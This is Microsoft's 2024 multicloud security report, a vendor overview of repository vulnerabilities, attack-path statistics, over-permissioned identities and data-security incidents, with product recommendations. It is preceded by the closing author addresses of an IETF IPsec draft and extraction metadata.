Algorithm With Explicit IV", RFC 2405,
DOI 10.17487/RFC2405, November 1998,
[RFC2410] Glenn, R. and S. Kent, "The NULL Encryption Algorithm and
Its Use With IPsec", RFC 2410, DOI 10.17487/RFC2410,
Authors' Addresses
Daniel Migault
Ericsson
8400 boulevard Decarie
Montreal, QC H4P 2N2
Canada
Phone: +1 514-452-2160
Email: daniel.migault@ericsson.com
John Mattsson
Ericsson AB
SE-164 80 Stockholm
Sweden
Email: john.mattsson@ericsson.com
Paul Wouters
Red Hat
Email: pwouters@redhat.com
Yoav Nir
Check Point Software Technologies Ltd.
5 Hasolelim st.
Tel Aviv 6789735
Israel
Email: ynir.ietf@gmail.com
Tero Kivinen
INSIDE Secure
Eerikinkatu 28
HELSINKI FI-00180
FI
Email: kivinen@iki.fi
|
{"Source-Url": "https://tools.ietf.org/pdf/draft-mglt-ipsecme-rfc7321bis-02.pdf", "len_cl100k_base": 4756, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 25585, "total-output-tokens": 6564, "length": "2e12", "weborganizer": {"__label__adult": 0.000591278076171875, "__label__art_design": 0.0003991127014160156, "__label__crime_law": 0.0036525726318359375, "__label__education_jobs": 0.0005078315734863281, "__label__entertainment": 0.0001533031463623047, "__label__fashion_beauty": 0.00021982192993164065, "__label__finance_business": 0.0007929801940917969, "__label__food_dining": 0.00040030479431152344, "__label__games": 0.0009703636169433594, "__label__hardware": 0.004779815673828125, "__label__health": 0.0009174346923828124, "__label__history": 0.0004508495330810547, "__label__home_hobbies": 0.00011688470840454102, "__label__industrial": 0.0012617111206054688, "__label__literature": 0.0003769397735595703, "__label__politics": 0.0007758140563964844, "__label__religion": 0.0007767677307128906, "__label__science_tech": 0.470703125, "__label__social_life": 0.0001226663589477539, "__label__software": 0.038177490234375, "__label__software_dev": 0.472412109375, "__label__sports_fitness": 0.0004611015319824219, "__label__transportation": 0.0008158683776855469, "__label__travel": 0.00024771690368652344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 22088, 0.07475]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 22088, 0.14019]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 22088, 0.89186]], "google_gemma-3-12b-it_contains_pii": [[0, 1297, false], [1297, 2187, null], [2187, 4849, null], [4849, 7047, null], [7047, 9449, null], [9449, 11635, null], [11635, 14016, null], [14016, 15950, null], [15950, 17716, null], [17716, 19607, null], [19607, 21591, null], [21591, 22088, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1297, true], [1297, 2187, null], [2187, 4849, null], [4849, 7047, null], [7047, 9449, null], [9449, 11635, null], [11635, 14016, null], [14016, 15950, null], [15950, 17716, null], [17716, 19607, null], [19607, 21591, null], [21591, 22088, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 22088, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 22088, null]], "pdf_page_numbers": [[0, 1297, 1], [1297, 2187, 2], [2187, 4849, 3], [4849, 7047, 4], [7047, 9449, 5], [9449, 11635, 6], [11635, 14016, 7], [14016, 15950, 8], [15950, 17716, 9], [17716, 19607, 10], [19607, 21591, 11], [21591, 22088, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 22088, 0.17127]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
4700346ab193f06c1246f91a0275d11dab1f5aac
|
2024 State of Multicloud Security Report
Trends and insights to drive an integrated multicloud security strategy
Executive Foreword
The advent of cloud computing ushered in a new era of innovation, empowering organizations to rapidly scale and embrace new opportunities. Today, multicloud environments have become the de facto way of doing business.
However, with all that innovation and flexibility came new risks. Many customers currently operate with a complex patchwork of interconnected technologies across different devices, applications, platforms, and clouds. Since most organizations connect these data sources so that data can seamlessly flow across boundaries, they need to know that their protection policies won’t miss any blind spots between disparate technologies and in turn put their data at risk.
Today, organizations can deploy dozens of disparate security tools—each with its own security alerts to mitigate. Combined with the ongoing cyber workforce shortage and gaps in institutional knowledge, security teams are overwhelmed and unable to prioritize exposures with the greatest potential impact. In addition, because each cloud has a unique security infrastructure, decisioning logic, and concepts, organizations are left managing complexity that increases the potential for mistakes and heightens their risk of a breach.
At Microsoft, we have long embraced our commitment to protecting customers’ environments, regardless of how many clouds they run on or which providers they use.
In February 2022, we became the first cloud provider to offer integrated cloud-native application platform protection (CNAPP) from development to runtime for Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). And we’ve continued to evolve our multicloud security offerings ever since through advancements like the Secure Future Initiative (SFI), which aims to transform software development, implement new identity protections, and drive faster vulnerability response. Today, Microsoft delivers an unparalleled level of threat intelligence informed by more than 78 trillion daily security signals.
It doesn’t stop there. Cybersecurity is an ongoing challenge. To keep pace with the rapidly changing tactics of adversaries, we must work together as a collective defense community to share insights, collaborate on best practices, and better secure our multicloud future.
In that vein, we invite you to read and share the following report to more deeply understand the state of multicloud security risk in 2024, and to evolve your security strategy to strengthen your digital enterprise moving forward.
Andrew Conway
Vice President of Security Marketing, Microsoft
Introduction
Deploying applications and infrastructure across multiple clouds is the new normal in today’s business climate. Approximately 86% of organizations have already adopted a multicloud approach thanks to its benefits including increased agility, flexibility, and choice. However, as organizations deploy multicloud environments, they face many challenges, including managing security and compliance across multiple cloud service providers (CSPs), ensuring data portability, and optimizing costs.
Informed by usage patterns across Microsoft Defender for Cloud, Microsoft Security Exposure Management, Microsoft Entra Permissions Management, and Microsoft Purview, we have identified the top multicloud security risks across Microsoft Azure, AWS, GCP, and beyond:
---
3 “SANS 2023 Multicloud Survey: Navigating the Complexities of Multiple Clouds,” SANS Institute.
Key findings
1. Many organizations struggle to properly secure cloud-native applications and infrastructure throughout the full lifecycle.
At the development level, 65% of code repositories contained source code vulnerabilities in 2023, which remained in the code for 58 days on average.
During runtime, security teams are often overwhelmed and unable to prioritize the sheer number of potential risks and exposed assets they must remediate.
The average organization has 351 exploitable attack paths that threat actors can leverage to reach high-value assets. Among all organizations, over 6.3M exposed critical assets were discovered.
2. Securing human and workload identity access across multiple clouds is also a significant challenge due to the rapid growth in identities and bloated permissions.
Microsoft Entra Permissions Management discovered 209M identities across its customers’ clouds in 2023.
Of the 51,000 permissions granted to those identities (a 22% increase from 2022), only 2% were used and 50% were considered high-risk.
3. This increased number of potential risks, exploitable attack paths, identities, and permissions impacts organizations’ data security posture.
As multicloud environments grow in scale, so too does the data they house and produce. With more exposed data comes more risk.
Organizations face 59 data security incidents each year on average, and 74% of organizations experienced at least one data security incident in which business data was exposed.
Secure cloud-native applications and infrastructure
To ensure the security of your cloud-native applications and infrastructure, security must be embedded throughout the full lifecycle. Security teams need a holistic view of the entire development and deployment process to ensure comprehensive visibility across source code repositories all the way to cloud runtime environments.
To understand exactly why a secure development and deployment process is so critical, we looked at several key data points for 2023.
Shift left and embrace DevOps security
Attackers are shifting left, targeting vulnerabilities earlier on in the development lifecycle. In response, security needs to shift left too, moving into the very beginning of the development process as soon as you begin to create your code.
When examining multicloud environments, we discovered that many organizations lack strong DevSecOps hygiene, exposing them to greater risk. There are widespread vulnerabilities living within source code and code repositories. For example, nearly one-quarter (23%) of code repositories contained exposed secrets such as passwords and API keys in 2023. Adversaries can use this information to gain unauthorized access to your multicloud environment and trigger larger attacks that could result in data breaches, identity theft, and more.
In total, more than 1.4M vulnerabilities were discovered in connected DevOps repositories, each posing a serious risk to the security of an organization’s infrastructure.
Identifying and eliminating the number of common vulnerabilities and exposures (CVEs) in code is also essential, considering that CVEs can create serious issues during development and deployment. We found that CVEs remained in code for 58 days on average and could take anywhere from 57 to 64 days to resolve. This leaves a large window of time for attackers to capitalize on a vulnerability, given that 25% of high-risk CVEs are exploited within 24 hours of being published.\(^4\)
Preventing these CVEs from being introduced into the code in the first place is key. A cloud-native application protection platform (CNAPP) can help by acting as a shared platform for security admins and developers alike. This allows security teams to unify, strengthen, and manage multipipeline DevOps security while shifting security left to enable full-lifecycle protections from a centralized dashboard.
**CNAPP**
A unified platform that simplifies cloud-native application and infrastructure security by integrating multiple solutions to embed security from initial code development to provisioning and runtime to help mitigate risks across hybrid and multicloud environments.
DevOps environments can also contain misconfigurations that put an organization’s infrastructure at risk. For example, we discovered multiple instances of code repositories that lacked protection rules on the default branch. This indicates a broader trend of inadequate security measures in DevOps environments. Often, essential safeguards, such as protection rules for code repositories, are overlooked or not rigorously enforced. This can expose organizations to risks like unauthorized access, poisoned pipeline execution attacks, and code tampering.
\(^4\) “1 in 4 high-risk CVEs are exploited within 24 hours of going public,” SC Media.
Focus on a preventative, risk-based approach with attack path analysis
Another key tool for proactively securing cloud-native applications and infrastructure is attack path analysis, often delivered through a cloud security posture management (CSPM) solution. Understanding attack path analysis allows organizations to identify and remediate critical risks in their environment—such as misconfigurations, vulnerabilities, permissions, and sensitive data—before attackers can exploit them. Think of these risks as a string of vulnerabilities and misconfigurations that might seem innocuous when viewed in isolation. However, when they are surfaced by a CSPM tool and consolidated into an attack path, organizations can view the full impact of each risk and remediate them proactively.
Take the example of source code vulnerabilities. Attack path analysis can flag a vulnerability and show how attackers could use it to breach your environment and move laterally to reach critical assets. Even more crucially, attack path analysis can prioritize which attack path security teams should address first based on the potential impact to your environment and suggest remediation next steps.
To address these weaknesses, it’s essential to implement comprehensive security protocols across all stages of the development lifecycle.
47% of service connections in Azure DevOps gave access to all pipelines
73% of GitHub repositories lacked protection rules on the default branch
52% of GitHub repositories that connected to Azure lacked protection rules on the default branch
These misconfigurations must be addressed if organizations are to lower their risk of sensitive data exposure, system compromise, user harm, and more.
Without attack path analysis to illuminate these exploitable paths, many organizations may not even be aware that their critical assets are at risk. Among Microsoft Security Exposure Management public preview customers, 88% had an attack path that led to a critical asset and more than 6.3M exposed critical assets were discovered, including identities, devices, and cloud resources.
Microsoft Security Exposure Management is an attack surface management tool designed to help organizations identify, prioritize, and remediate critical exposures by collecting and normalizing asset data, mapping assets and their relationships, and providing comprehensive visibility into the attack surface.
Unaddressed attack paths can also lead to significant damage across multicloud environments, including compute abuse, data exposure, and user credential exposure. These attack paths are widespread, in some cases occurring across multiple cloud environments.
- **49%** of attack paths could result in compute abuse, such as the unauthorized use of cloud computing resources.
- **24%** of attack paths could result in data exposure to the internet or unauthorized users.
- **20%** of attack paths could result in credential exposure such as improperly secured passwords or keys.
- **7%** of attack paths could result in sensitive data exposure like personal information or company secrets.
- **1%** of attack paths were cross-environment, such as across clouds or from code development to cloud runtime environments.
Attack paths are by no means uncommon. More than half of organizations were exposed to at least one attack path in 2023, with the average organization containing 351 attack paths across their multicloud environment. These attack paths can occur for a variety of reasons, with the most common causes being internet exposure and insecure credentials.
- **58%** of organizations are exposed to at least one attack path.
- **7%** of organizations are exposed to more than 1,000 attack paths.
- **351** attack paths at the average organization.
- **84%** of attack paths originate because of internet exposure.
- **66%** of attack paths involve insecure credentials.
By taking a shift-left approach to security, organizations can proactively identify and remediate these attack paths before threat actors have a chance to exploit them.
This is because of the proliferation of block points, or areas in the cloud network where most of the network traffic flows through. If compromised, these points allow attackers to branch out and access more resources within your network.
The diagram above shows multiple attack paths originating from the public internet. In this example, there are three virtual machines (VMs) with a remote code execution (RCE) CVE. Adversaries can take advantage of these CVEs to gain access to an identity, establish a foothold in your environment, and move laterally to access sensitive data, a key vault, or an AKS cluster. Threat actors can target all of these potential attack paths, even opting to pursue one attack path at a time so that, if detected in one path, they can pivot their strategy and maintain a foothold in the environment.
Organizations can secure these block points by implementing CNAPP to prevent adversaries from progressing along the attack path.
Reduce complexity with threat protection
In addition to DevOps security and attack path analysis, organizations also need to consider how the growing use and variety of cloud workloads impact their exposure to cyberthreats.
When cloud workloads span across multiple cloud environments, that creates a larger, more complex attack surface for security teams to contend with. These intertwined workloads create additional complexities and dependencies that require proper configuration and monitoring to secure. Many companies also rely on individual point vendors to manage a piece of their workload protection. However, this approach misses the bigger picture and overlooks the potential cross-workload risks in multicloud environments.
For example, consider a company that uses two different cloud security solutions for API and data storage protection. Suppose a compromised API links to data storage, but the two point solutions can’t communicate or integrate. The complexity between these different types of workload interactions can increase your attack surface. This is why comprehensive threat protection is such a critical focus in multicloud security.
There are three main challenges with multicloud threat protection.
The first is the growing sophistication of attack tactics and the use of AI by threat actors. As cloud adoption grows, traditional threat surfaces are expanding and network perimeters have disappeared. This introduces novel attack scenarios and techniques. For example, threat actors like Charcoal Typhoon have been known to use large language models (LLMs) to support tooling development and scripting, understand various commodity cybersecurity tools, and generate content that could be used to social engineer targets.\(^5\)
Charcoal Typhoon is a Chinese state-affiliated threat actor with a broad operational scope. They are known for targeting government, higher education, communications infrastructure, oil and gas, and information technology sectors.
Secondly, organizations may have resources across different cloud providers, each of which can connect to different identity providers. This expands the organization’s overall attack surface. Consider the example of a cross-cloud supply chain attack. In this scenario, developers build pipelines in Azure DevOps (ADO). They then build Docker containers and put them in a registry, with images being picked up from anywhere. Kubernetes workloads may be deployed in a certain cloud provider, such as Azure Kubernetes Service (AKS), while also using images stored in a different cloud provider, like AWS’s Elastic Container Registry (ECR). Because these images are stored in ECR but deployed in AKS, attackers could potentially target them to execute a cross-cloud supply chain attack.
In total, roughly 10% of Azure clusters use cloud services from a different cloud provider. For example, a workload running on AKS might use AWS’s S3 storage to store data.
Finally, because modern IT environments spread across multiple platforms, many organizations lack strong visibility into what is going on across all their different clouds. They need a better way to centralize and contextualize findings across their various security approaches.
For example, Microsoft’s CNAPP solution, Defender for Cloud, has an extended detection and response (XDR) integration that provides richer context to investigations and allows security teams to get the complete picture of an attack across cloud-native resources, devices, and identities. Roughly 6.5% of Defender for Cloud alerts were connected to other domains—such as endpoints, identities, networks, and apps and services—indicating attacks that stretched across multiple cloud products and platforms.
This number will only increase as additional correlation logic is added, which can help identify and link related security events to detect potential threats.
\(^5\) “Staying ahead of threat actors in the age of AI,” Microsoft Threat Intelligence.
Recommendations
Ultimately, protecting cloud-native applications and infrastructure starts with adopting a shift-left approach to security. This ensures that the development and deployment process is secure from the very start. A CNAPP solution can help enforce security best practices in the earliest stages of development and promote a holistic software development lifecycle (SDLC) for all cloud-native applications. However, for this to work, you must ensure that your application security is developer-friendly.
At Microsoft, we offer native security tooling with GitHub Advanced Security for both GitHub and Azure DevOps. This allows developers to work within their native tools while still enforcing security best practices across the code and application development lifecycle. By eliminating or fixing security alerts earlier in the development process, the development cycle can move much faster and be less costly.
Additionally, security teams should leverage attack path analysis within a CSPM as the first line of defense when managing cloud security posture as part of an organization-wide proactive attack surface and risk management continuous threat and exposure management program. For both attack paths and threat protection, it’s important to maintain Zero Trust best practices by assuming breach and limiting exposure by adding multiple layers of protection across the environment.
For example, we found that internet-exposed VMs have a 6.5 times greater chance of compromise compared to non-exposed machines. Furthermore, 15% of internet-exposed machines are targeted by brute force attacks. This indicates that attackers are attempting to gain access to someone’s identity through password spraying, which, if successful, would provide initial access to their cloud computing resources. That is why avoiding exposing management ports to the internet is essential. Instead, use a closed management interface to gain connection without exposing potentially sensitive resources to the internet.
- Leverage a holistic CNAPP solution to integrate security checks and controls into the DevOps pipeline and implement comprehensive cloud-native workload monitoring and protection.
- Focus on a preventative, risk-based approach by leveraging attack path analysis to proactively identify and remediate potential attack paths before they can be exploited. CSPM enables you to reduce attack surface and manage risk in your multicloud environment, and Exposure Management extends your proactive program across your whole organization.
- Follow Zero Trust best practices by assuming breach and limiting internet exposure unless absolutely necessary, especially in the case of management ports. Instead, use a closed management interface to establish a connection without risky internet exposure.
---
“How to Manage Cybersecurity Threats, Not Episodes,” Gartner.
Secure human and workload access across multicloud
Another foundational element of multicloud security is identity and access management. Not only do security teams have to monitor and secure user identities, but they also must account for workload identities. This is especially challenging given how quickly identities and their access to cloud resources have grown in recent years, with more and more workload identities gaining increased access to cloud resources. Workload identities currently outnumber human identities, and that gap is only growing.
Protecting workload identities is of critical importance
As more and more companies move their workloads to the cloud, we’re seeing a rapid growth in the number of workload identities being created. Today, there is one human identity for every 10 workload identities. This problem is even more acute among small- and medium-sized businesses, which have one human identity for every 50 workload identities.
Of the 209M identities Microsoft Entra Permissions Management discovered across its customers’ clouds in 2023:
- 34.5M are human identities
- 174.3M are workload identities
As the number of workload identities continues to far outpace the number of human identities, it’s important to consider the relative risk of each. Fewer solutions can adequately protect workload identities compared to how these solutions can protect and secure human identities. This is because the majority of identity and access solutions in the market today have primarily focused on safeguarding human identities rather than workload identities.
Workload identities are also much more difficult to secure than human identities because they don’t have a clearly defined lifecycle. When a new employee or a third-party contractor joins your company, they have a clearly defined start date that’s often accompanied by HR and other related processes. When their engagement with your organization ends—whether because they moved on to a new job or their contract ended—that final date is also clearly noted across multiple company systems.
However, the same is not true of workload identities, which can gradually taper out and become inactive. This is especially true when you consider the widespread use of shadow IT across multicloud environments. Inactive identities are not monitored the same way as active identities, making them an attractive target for adversaries to compromise as they can leverage the identity or credentials to move laterally throughout your environment.
Workload identities can also be manually embedded in code, making it harder to clean them without triggering unintended consequences.
One bright note is that the number of inactive workload identities has dropped year over year according to data from Microsoft Entra Permissions Management.
In 2022, 80% of workload identities were considered inactive whereas just 40% of workload identities were inactive in 2023. This shows us that Permissions Management helped organizations better manage inactive workload identities through increased visibility. Organizations are also beginning to realize the importance of securing workload identities. Once companies understand how crucial workload identities are to their overall risk posture, it becomes possible to secure them better.
Managing super identities is a crucial task for securing access
Further complicating identity security is the fact that the majority of identities are vastly over-permissioned. When an identity can access any permission or resource across your entire multicloud estate, it is known as a super identity.
A term originally coined by Microsoft in the 2023 State of Cloud Permissions Risks report, compromised super identities can allow attackers to gain access to all permissions and resources—putting them in a very powerful.7
Super identity:
A user or workload identity that has access to all permissions and all resources across your entire cloud estate.
Since last year, the percentage of super identities has remained the same, accounting for more than 50% of all identities. Ideally, this percentage would decrease so there is less opportunity for attackers to gain access to a wide breadth of permissions and resources—thus minimizing the blast radius from any potential breaches.
This problem is even more pronounced among workload super identities, which increased in 2023. In 2022, there were four human super identities for every six workload super identities. In 2023, that ratio increased to three human super identities for every seven workload super identities. Given the inactivity of workload identities in 2023, a significant number of workload super identities are likely not being managed—leaving them vulnerable to an attack.
If we are to properly secure identity and access as a collective defense community, we must focus on managing and lowering the number of super identities. The first step is establishing visibility into all super identities across your multicloud estate. From there, security teams can begin obtaining insights into unused permissions and right-sizing permissions in accordance with least privileged access principles.
Of the 209M cloud identities identified in 2023, 50%+ were super identities.
There were 3 human super identities for every 7 workload super identities.
Unused permissions represent a significant risk
The problem of unused permissions stretches across human and workload identities in the cloud.
Microsoft Entra Permissions Management discovered more than 51,000 permissions granted to human and workload identities in 2023 (up from 40,000 in 2022). With more permissions come more access points for attackers. As evidenced by the continued prevalence of super identities, many of these permissions aren’t even being leveraged fully.
Of human and workload identity permissions were used in 2023:
- 2% were used
- 3% were used
Our data shows that just 2% of the permissions granted to human and workload identities in 2023 were used, and only 3% of workload identity permissions were used. While a slightly higher percentage of workload identity permissions are being used compared to human identity permissions, the remaining 97% of unused permissions still represent a valuable and attractive target for attackers. Too many identities continue to be far over-provisioned, increasing the number of identities that pose a potential security risk.
Recommendations
In the realm of identity and access management, the handling of identities (both human and workload) and their access remains a formidable challenge. This is primarily due to the nature of their permissions, which are akin to root access. Managing these identities within a multicloud environment continues to be a significant hurdle.
Our observations indicate that customers are adopting various strategies to tackle this issue. Some focus on identity governance, while others establish automated access through Infrastructure as Code (IaC) services. Yet others rely on native cloud service providers to govern resource access authorization.
It’s important to note that an Azure subscription, AWS account, or GCP project with multiple super identities signifies an elevated level of insider risk exposure. A cloud infrastructure entitlement management (CIEM) solution can provide visibility that eliminates the need for standing access for super identities, inactive identities, and unused permissions. Once the CIEM has identified entitlements, organizations can then take steps to revoke unnecessary permissions and ensure these identities are allocated just-enough permissions, just in time. This approach will significantly mitigate potential risks and enhance the overall security posture.
At Microsoft, we leverage our CIEM solution, Microsoft Entra Permissions Management, to establish visibility into who and what has access to which resources so we can ensure those access rights align with least privilege principles. Identities and their permissions are often the first entry point for attackers, so enforcing Zero Trust principles of least privilege access and explicit verification is crucial for hardening the overall security posture of cloud environments.
Permissions Management also provides remediation and monitoring capabilities, along with a permissions creep index (PCI) to measure how well an organization protects its permissions risks across multiple clouds. Among customers who have used Permissions Management since 2022, we’ve seen a 21-point improvement in their overall PCI score. Furthermore, by integrating Permissions Management, with other security postures through Defender for Cloud, organizations can better understand how unnecessary permissions create a vulnerability vector as well as its relative importance to the overall security of the environment.
- Define your vulnerable attack surface by gaining clear visibility into any identities, including high-risk permissions, inactive identities, and super identities.
- Remove any unnecessary permissions from identities and replace with just-in-time permissions that the identity must inherit before it can perform a task.
- Manage super identities by adhering to Zero Trust principles of least-privileged access and explicit verification.
Safeguard growing data
In the expanding multicloud universe, data is being generated at an unprecedented rate. The rapid adoption of generative AI technology is only accelerating this trend. As per IDC, between 2023 and 2027, the amount of data created, captured, and replicated across the globe is expected to more than double in size, with an estimated 129 zettabytes generated in 2023.8
We’ve also seen a growth in data sources, making it challenging for organizations to secure sensitive data across their estate. To safeguard their most critical asset—their data—organizations must take a comprehensive approach to data security. An approach that helps them:
- Discover risks to their sensitive data, including employee and customer data, intellectual property, financial projections, and operational data across their multicloud universe
- Understand how users interact with data
- Protect and prevent unauthorized use of that data throughout its lifecycle with protection controls like encryption and authentication
---
8 “Worldwide IDC Global DataSphere Forecast, 2023-2027.” IDC.
Data security incidents have become both costly and frequent
From October 2022 to October 2023, a whopping 74% of organizations experienced at least one data security incident in which their business data was exposed. Data security incidents pose an enormous risk to organizations. Not only can organizations lose business-critical data and customer trust, but these incidents can also be very costly in terms of prolonged downtime, reputational damages, lost business partnerships, and legal ramifications.
On average, organizations face 59 data security incidents every year. Depending on the severity of the incident, organizations could be facing millions in potential damages.
59 is the average number of data security incidents per year organizations face
74% of organizations experienced at least one data security incident in which business data was exposed
$15M is the average cost of data security incidents
*Data Security Index.* Microsoft.
*Data Security Index.* Microsoft.
A fragmented solution landscape can increase the number of data security incidents
When tasked with managing data security across a complex multicloud environment, many organizations will opt to deploy and manage several distinct, un-integrated solutions to cover all the various use cases. However, our research found that a fragmented solution landscape weakened data security. For each tool an organization adopts, they must then dedicate staff and processes to maintaining and operating that tool. This is because each vendor provides a distinct portal with varying technological foundations.
The proliferation of tools also leads to an increase in the number of alerts. At times, these alerts may be duplicated, creating more noise in the system. Organizations employing more than 16 tools to secure data face a staggering 2.8 times more data security incidents compared to those who use fewer tools. Moreover, the severity of these incidents tends to be higher as well.
Given the complexities of using disparate solutions, organizations should seek to reduce and refine the number of solutions they deploy to manage data security. We recommend leveraging an integrated set of solutions that work seamlessly and alleviate the complexities discussed above.
It is also important to understand the main sources of these data security incidents. Malware and ransomware are common causes, underscoring the need for a comprehensive data security solution to mitigate and prevent these kinds of attacks. Additionally, we are seeing a significant portion of data security incidents occur in the email, messaging, and collaboration apps that employees use every day to stay productive and work together. Enforcing extremely strict protection policies on all your users can disrupt the flow of data in an organization, which is crucial to getting work done. On the other hand, lack of protection poses significant risk to the data as discussed above.
Instead, organizations need a data security solution that is flexible enough so that they do not have to choose between protection and productivity and instead can achieve a sweet spot that works for them. An important part of achieving this balance is to apply restrictive policies only to high-risk users so that other users in the organization can maintain their productivity.
A modern approach to data security is a proactive one
In addition to having too many tools, many organizations are in a reactive state of data security rather than a proactive one. In a reactive approach, organizations tend to play catch-up after the incident has occurred. A proactive approach is one in which organizations can prevent the data security incident from happening in the first place. For a proactive approach, organizations need to build multiple layers of protection for the data—one that combines the context of the data with the context of the user interacting with the data to provide comprehensive insights.
This multilayered approach becomes even more relevant when you consider the fact that misconfigured APIs were one of the leading causes of cloud data breaches in 2023. A multilayered approach to data security can help security teams proactively detect and monitor misconfigurations, so they can remediate as needed.
The components of a multilayered data security strategy are:
- Create policies that prevent the unauthorized or unintentional use of data, including copying or printing sensitive information, sharing sensitive data through regular communications channels, or even uploading the sensitive data to personal cloud storage.
- Understand how your users are interacting with the data to identify anomalies and prevent users from maliciously or negligently causing loss to the data.
- Classify and label sensitive data. Depending on the level of security necessary, all business-critical data should be classified and then subsequently labeled to support appropriate protection such as encryption.
- Leverage automation to ensure that policies can be automated adjusted based on the user’s risk level and your security team does not have to manually add and remove users in and out of policy scope.
Roughly 40% of organizations experience data loss because of misclassification or incorrectly labeled assets. To resolve this challenge, organizations need a robust data security solution that provides data loss prevention technology.
Recommendations
To comprehensively secure data, organizations need an integrated solution that can combine data context with user context across their multicloud estate. Without this multilayered approach, organizations will continue to be reactive in preventing unauthorized access to their sensitive data from external threats or mitigating the risk of insider data theft or accidental exposure.
Microsoft Purview—a comprehensive data security, data compliance, and data governance solution can help safeguard your data across your multicloud estate. Microsoft Purview can help discover hidden risks to your data wherever it lives or travels, protect and prevent data loss across your data estate, and quickly investigate and respond to data security incidents. It can also be used to help improve risk and compliance postures and meet regulatory requirements.
- Adopt a multilayered approach to data security
- Make data security a proactive conversation rather than reacting to an incident
- Focus on fewer tools and leverage an integrated solution to limit blind spots and reduce your risk of data security incidents
In closing, multicloud security can often be a complex endeavor, with multiple considerations and potential risks that security teams must account for. It starts in the earliest stages of cloud-native application and infrastructure development and extends throughout identity and access management, as well as data security.
Adopting a shift-left approach to security with a unified CNAPP solution can help integrate security checks and controls earlier on in the DevOps pipeline while also ensuring comprehensive cloud-native workload monitoring and protection. Meanwhile, attack path analysis enables organizations to achieve a more proactive state of security, especially when leveraged as the first line of defense for managing cloud security posture. When it comes to application and infrastructure threat protection, a Zero Trust mindset of assuming breach and limiting internet exposure can reduce an organization’s overall risk posture.
In the critical area of identity, organizations must enhance protections for workload identities and manage the occurrence of super identities by adhering to Zero Trust principles around least privileged access and explicit verification. A CIEM solution can also help limit the number of individual point solutions an organization needs to deploy.
Finally, organizations must fortify their data security by adopting a multilayered approach. This enables organizations to be more proactive in their data security, while also safeguarding data and managing data compliance throughout the full lifecycle of the data.
To learn how you can improve security with code-to-runtime insights across multiple cloud environments and DevOps platforms, visit Microsoft Cloud Security.
**Learn more about Defender for Cloud**
To learn more about your multicloud identity and access vulnerabilities, sign up for a free trial of Microsoft Entra Permissions Management and receive your customized risk assessment report.
**Try Permissions Management**
To gain deeper visibility into your multicloud data estate and understand what a comprehensive approach to data security could do for you, sign up for a free trial of Microsoft Purview.
**Try Purview**
|
{"Source-Url": "https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/2024-State-of-Multicloud-Security-Risk-Report.pdf", "len_cl100k_base": 7118, "olmocr-version": "0.1.50", "pdf-total-pages": 28, "total-fallback-pages": 0, "total-input-tokens": 54535, "total-output-tokens": 8389, "length": "2e12", "weborganizer": {"__label__adult": 0.0005965232849121094, "__label__art_design": 0.0007367134094238281, "__label__crime_law": 0.00392913818359375, "__label__education_jobs": 0.0011749267578125, "__label__entertainment": 0.0002868175506591797, "__label__fashion_beauty": 0.00027370452880859375, "__label__finance_business": 0.0129852294921875, "__label__food_dining": 0.00034236907958984375, "__label__games": 0.0014219284057617188, "__label__hardware": 0.003688812255859375, "__label__health": 0.0008587837219238281, "__label__history": 0.0004277229309082031, "__label__home_hobbies": 0.00020992755889892575, "__label__industrial": 0.001140594482421875, "__label__literature": 0.0003883838653564453, "__label__politics": 0.0008282661437988281, "__label__religion": 0.0004940032958984375, "__label__science_tech": 0.25732421875, "__label__social_life": 0.00026035308837890625, "__label__software": 0.27392578125, "__label__software_dev": 0.437744140625, "__label__sports_fitness": 0.0002944469451904297, "__label__transportation": 0.0006265640258789062, "__label__travel": 0.0002639293670654297}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 39683, 0.01291]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 39683, 0.22817]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 39683, 0.93935]], "google_gemma-3-12b-it_contains_pii": [[0, 113, false], [113, 2908, null], [2908, 3784, null], [3784, 5304, null], [5304, 5820, null], [5820, 6812, null], [6812, 8623, null], [8623, 10345, null], [10345, 11038, null], [11038, 12688, null], [12688, 13651, null], [13651, 14814, null], [14814, 17636, null], [17636, 20515, null], [20515, 21073, null], [21073, 23176, null], [23176, 25350, null], [25350, 27020, null], [27020, 29874, null], [29874, 30970, null], [30970, 31963, null], [31963, 32941, null], [32941, 34293, null], [34293, 36369, null], [36369, 37494, null], [37494, 39056, null], [39056, 39683, null], [39683, 39683, null]], "google_gemma-3-12b-it_is_public_document": [[0, 113, true], [113, 2908, null], [2908, 3784, null], [3784, 5304, null], [5304, 5820, null], [5820, 6812, null], [6812, 8623, null], [8623, 10345, null], [10345, 11038, null], [11038, 12688, null], [12688, 13651, null], [13651, 14814, null], [14814, 17636, null], [17636, 20515, null], [20515, 21073, null], 